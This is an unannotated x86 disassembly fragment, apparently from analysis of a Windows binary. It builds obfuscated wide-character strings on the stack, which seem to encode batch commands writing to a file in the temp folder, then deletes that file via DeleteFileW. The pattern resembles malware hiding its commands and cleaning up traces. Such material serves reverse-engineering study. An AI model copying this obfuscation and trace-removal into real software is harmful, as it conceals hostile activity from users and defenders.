mov dword [ebp - 0x510], 0x8970848
mov dword [ebp - 0x50c], 0x8900888
mov dword [ebp - 0x508], 0x8480893
mov dword [ebp - 0x504], 0x895087f
mov dword [ebp - 0x500], 0x8970851
mov dword [ebp - 0x4fc], 0x897089b
mov dword [ebp - 0x4f8], 0x8430845
mov dword [ebp - 0x4f4], 0x8430849
mov dword [ebp - 0x4f0], 0x8860888
mov dword [ebp - 0x4ec], 0x892088b
mov dword [ebp - 0x4e8], 0x8600843
mov dword [ebp - 0x4e4], 0x8430860
mov dword [ebp - 0x4e0], 0x893086c
mov dword [ebp - 0x4dc], 0x8600843
mov dword [ebp - 0x4d8], 0x8610860
mov dword [ebp - 0x4d4], 0x8450861
mov dword [ebp - 0x4d0], 0x8970848
mov dword [ebp - 0x4cc], 0x8900888
mov dword [ebp - 0x4c8], 0x8480893
mov dword [ebp - 0x4c4], 0x895087f
mov dword [ebp - 0x4c0], 0x8970851
mov dword [ebp - 0x4bc], 0x897089b
mov dword [ebp - 0x4b8], 0x8430845
mov dword [ebp - 0x4b4], 0x8430849
mov dword [ebp - 0x4b0], 0x893088c
mov dword [ebp - 0x4ac], 0x8920886
mov dword [ebp - 0x4a8], 0x8890891
mov dword [ebp - 0x4a4], 0x88a088c
mov dword [ebp - 0x4a0], 0x8520843
mov dword [ebp - 0x49c], 0x88f0884
mov dword [ebp - 0x498], 0x861088f
mov dword [ebp - 0x494], 0x8450861
mov dword [ebp - 0x490], 0x8970848
mov dword [ebp - 0x48c], 0x8900888
mov dword [ebp - 0x488], 0x8480893
mov dword [ebp - 0x484], 0x895087f
mov dword [ebp - 0x480], 0x8970851
mov dword [ebp - 0x47c], 0x897089b
mov dword [ebp - 0x478], 0x8430845
mov dword [ebp - 0x474], 0x8430849
mov dword [ebp - 0x470], 0x8860888
mov dword [ebp - 0x46c], 0x892088b
mov dword [ebp - 0x468], 0x8600843
mov dword [ebp - 0x464], 0x8430860
mov dword [ebp - 0x460], 0x8950884
mov dword [ebp - 0x45c], 0x8430893
mov dword [ebp - 0x458], 0x8600860
mov dword [ebp - 0x454], 0x8610861
mov dword [ebp - 0x450], 0x8480845
mov dword [ebp - 0x44c], 0x8880897
mov dword [ebp - 0x448], 0x8930890
mov dword [ebp - 0x444], 0x87f0848
mov dword [ebp - 0x440], 0x8510895
mov dword [ebp - 0x43c], 0x89b0897
mov dword [ebp - 0x438], 0x8450897
mov dword [ebp - 0x434], 0x8490843
mov dword [ebp - 0x430], 0x8840843
mov dword [ebp - 0x42c], 0x8930895
mov dword [ebp - 0x428], 0x8500843
mov dword [ebp - 0x424], 0x8610884
mov dword [ebp - 0x420], 0x8450861
mov dword [ebp - 0x41c], 0x8970848
mov dword [ebp - 0x418], 0x8900888
mov dword [ebp - 0x414], 0x8480893
mov dword [ebp - 0x410], 0x895087f
mov dword [ebp - 0x40c], 0x8970851
mov dword [ebp - 0x408], 0x897089b
mov dword [ebp - 0x404], 0x8430845
mov dword [ebp - 0x400], 0x8430849
mov dword [ebp - 0x3fc], 0x8860888
mov dword [ebp - 0x3f8], 0x892088b
mov dword [ebp - 0x3f4], 0x8600843
mov dword [ebp - 0x3f0], 0x8430860
mov dword [ebp - 0x3ec], 0x8880875
mov dword [ebp - 0x3e8], 0x8880886
mov dword [ebp - 0x3e4], 0x8970891
mov dword [ebp - 0x3e0], 0x8600843
mov dword [ebp - 0x3dc], 0x8610860
mov dword [ebp - 0x3d8], 0x8450861
mov dword [ebp - 0x3d4], 0x8970848
mov dword [ebp - 0x3d0], 0x8900888
mov dword [ebp - 0x3cc], 0x8480893
mov dword [ebp - 0x3c8], 0x895087f
mov dword [ebp - 0x3c4], 0x8970851
mov dword [ebp - 0x3c0], 0x897089b
mov dword [ebp - 0x3bc], 0x8430845
mov dword [ebp - 0x3b8], 0x8490843
mov dword [ebp - 0x3b4], 0x8870843
mov dword [ebp - 0x3b0], 0x895088c
mov dword [ebp - 0x3ac], 0x8520843
mov dword [ebp - 0x3a8], 0x8430884
mov dword [ebp - 0x3a4], 0x8480845
mov dword [ebp - 0x3a0], 0x8930884
mov dword [ebp - 0x39c], 0x8870893
mov dword [ebp - 0x398], 0x8970884
mov dword [ebp - 0x394], 0x8480884
mov dword [ebp - 0x390], 0x870087f
mov dword [ebp - 0x38c], 0x886088c
mov dword [ebp - 0x388], 0x8920895
mov dword [ebp - 0x384], 0x8920896
mov dword [ebp - 0x380], 0x8970889
mov dword [ebp - 0x37c], 0x87a087f
mov dword [ebp - 0x378], 0x891088c
mov dword [ebp - 0x374], 0x8920887
mov dword [ebp - 0x370], 0x896089a
mov dword [ebp - 0x36c], 0x875087f
mov dword [ebp - 0x368], 0x8860888
mov dword [ebp - 0x364], 0x8910888
mov dword [ebp - 0x360], 0x8450897
mov dword [ebp - 0x35c], 0x8610861
mov dword [ebp - 0x358], 0x8480845
mov dword [ebp - 0x354], 0x8880897
mov dword [ebp - 0x350], 0x8930890
mov dword [ebp - 0x34c], 0x87f0848
mov dword [ebp - 0x348], 0x8510895
mov dword [ebp - 0x344], 0x89b0897
mov dword [ebp - 0x340], 0x8450897
mov dword [ebp - 0x33c], 0x8490843
mov dword [ebp - 0x338], 0x8880843
mov dword [ebp - 0x334], 0x88b0886
mov dword [ebp - 0x330], 0x8430892
mov dword [ebp - 0x32c], 0x8600860
mov dword [ebp - 0x328], 0x87a0843
mov dword [ebp - 0x324], 0x86c0870
mov dword [ebp - 0x320], 0x8430866
mov dword [ebp - 0x31c], 0x8600860
mov dword [ebp - 0x318], 0x8610861
mov dword [ebp - 0x314], 0x8480845
mov dword [ebp - 0x310], 0x8880897
mov dword [ebp - 0x30c], 0x8930890
mov dword [ebp - 0x308], 0x87f0848
mov dword [ebp - 0x304], 0x8510895
mov dword [ebp - 0x300], 0x89b0897
mov dword [ebp - 0x2fc], 0x8450897
mov dword [ebp - 0x2f8], 0x8490843
mov dword [ebp - 0x2f4], 0x89a0843
mov dword [ebp - 0x2f0], 0x88c0890
mov dword [ebp - 0x2ec], 0x8430886
mov dword [ebp - 0x2e8], 0x8970896
mov dword [ebp - 0x2e4], 0x8950884
mov dword [ebp - 0x2e0], 0x8980897
mov dword [ebp - 0x2dc], 0x8430893
mov dword [ebp - 0x2d8], 0x8610861
mov dword [ebp - 0x2d4], 0x8450843
mov dword [ebp - 0x2d0], 0x8970848
mov dword [ebp - 0x2cc], 0x8900888
mov dword [ebp - 0x2c8], 0x8480893
mov dword [ebp - 0x2c4], 0x895087f
mov dword [ebp - 0x2c0], 0x8970851
mov dword [ebp - 0x2bc], 0x897089b
mov dword [ebp - 0x2b8], 0x8430845
mov dword [ebp - 0x2b4], 0x8430849
mov dword [ebp - 0x2b0], 0x8860888
mov dword [ebp - 0x2ac], 0x892088b
mov dword [ebp - 0x2a8], 0x8600843
mov dword [ebp - 0x2a4], 0x8430860
mov dword [ebp - 0x2a0], 0x892086f
mov dword [ebp - 0x29c], 0x8840886
mov dword [ebp - 0x298], 0x843088f
mov dword [ebp - 0x294], 0x8600860
mov dword [ebp - 0x290], 0x8610861
mov dword [ebp - 0x28c], 0x8480845
mov dword [ebp - 0x288], 0x8880897
mov dword [ebp - 0x284], 0x8930890
mov dword [ebp - 0x280], 0x87f0848
mov dword [ebp - 0x27c], 0x8510895
mov dword [ebp - 0x278], 0x89b0897
mov dword [ebp - 0x274], 0x8450897
mov dword [ebp - 0x270], 0x8490843
mov dword [ebp - 0x26c], 0x8870843
mov dword [ebp - 0x268], 0x895088c
mov dword [ebp - 0x264], 0x8520843
mov dword [ebp - 0x260], 0x8430884
mov dword [ebp - 0x25c], 0x8480845
mov dword [ebp - 0x258], 0x892088f
mov dword [ebp - 0x254], 0x8840886
mov dword [ebp - 0x250], 0x884088f
mov dword [ebp - 0x24c], 0x8930893
mov dword [ebp - 0x248], 0x8840887
mov dword [ebp - 0x244], 0x8840897
mov dword [ebp - 0x240], 0x8450848
mov dword [ebp - 0x23c], 0x8610861
mov dword [ebp - 0x238], 0x8480845
mov dword [ebp - 0x234], 0x8880897
mov dword [ebp - 0x230], 0x8930890
mov dword [ebp - 0x22c], 0x87f0848
mov dword [ebp - 0x228], 0x8510895
mov dword [ebp - 0x224], 0x89b0897
mov dword [ebp - 0x220], 0x8450897
mov dword [ebp - 0x21c], 0x8490843
mov dword [ebp - 0x218], 0x8880843
mov dword [ebp - 0x214], 0x88b0886
mov dword [ebp - 0x210], 0x8430892
mov dword [ebp - 0x20c], 0x8600860
mov dword [ebp - 0x208], 0x8730843
mov dword [ebp - 0x204], 0x8920895
mov dword [ebp - 0x200], 0x867088a
mov dword [ebp - 0x1fc], 0x8600843
mov dword [ebp - 0x1f8], 0x8610860
mov dword [ebp - 0x1f4], 0x8450861
mov dword [ebp - 0x1f0], 0x8970848
mov dword [ebp - 0x1ec], 0x8900888
mov dword [ebp - 0x1e8], 0x8480893
mov dword [ebp - 0x1e4], 0x895087f
mov dword [ebp - 0x1e0], 0x8970851
mov dword [ebp - 0x1dc], 0x897089b
mov dword [ebp - 0x1d8], 0x8430845
mov dword [ebp - 0x1d4], 0x8430849
mov dword [ebp - 0x1d0], 0x88c0887
mov dword [ebp - 0x1cc], 0x8430895
mov dword [ebp - 0x1c8], 0x8840852
mov dword [ebp - 0x1c4], 0x8450843
mov dword [ebp - 0x1c0], 0x8840848
mov dword [ebp - 0x1bc], 0x88f088f
mov dword [ebp - 0x1b8], 0x8960898
mov dword [ebp - 0x1b4], 0x8950888
mov dword [ebp - 0x1b0], 0x8930896
mov dword [ebp - 0x1ac], 0x8920895
mov dword [ebp - 0x1a8], 0x88c0889
xor eax, eax
mov dword [ebp - 0x1a4], 0x888088f
lea edx, [ebp - 0x1028]
mov dword [ebp - 0x1a0], 0x8450848
lea ecx, [ebp - 0x7d0]
mov dword [ebp - 0x19c], 0x8610861
mov dword [ebp - 0x198], 0x8480845
mov dword [ebp - 0x194], 0x8880897
mov dword [ebp - 0x190], 0x8930890
mov dword [ebp - 0x18c], 0x87f0848
mov dword [ebp - 0x188], 0x8510895
mov dword [ebp - 0x184], 0x89b0897
mov dword [ebp - 0x180], 0x8450897
mov word [ebp - 0x17c], ax
call fcn.0040e6d3
sub esp, 0x18
lea eax, [ebp - 0x1028]
mov ecx, esp
push eax
call fcn.0040c569
push 1
push 0x1e
pop edx
mov cl, 1
call fcn.0040c110
add esp, 0x1c
lea eax, [ebp - 0xc68]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edi, [ebp - 0xc68]
sub edi, 2
xor eax, eax
mov cx, word [edi + 2]
add edi, 2
cmp cx, ax
jne 0x41154b
mov esi, 0x4b85fc
lea ecx, [ebp - 0xc68]
xor edx, edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.004115a4
lea eax, [ebp - 0xc68]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x41157e
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x20]
call fcn.0040c696
lea ecx, [ebp - 0x14]
call fcn.0040c696
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x74]
call fcn.0040c714
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret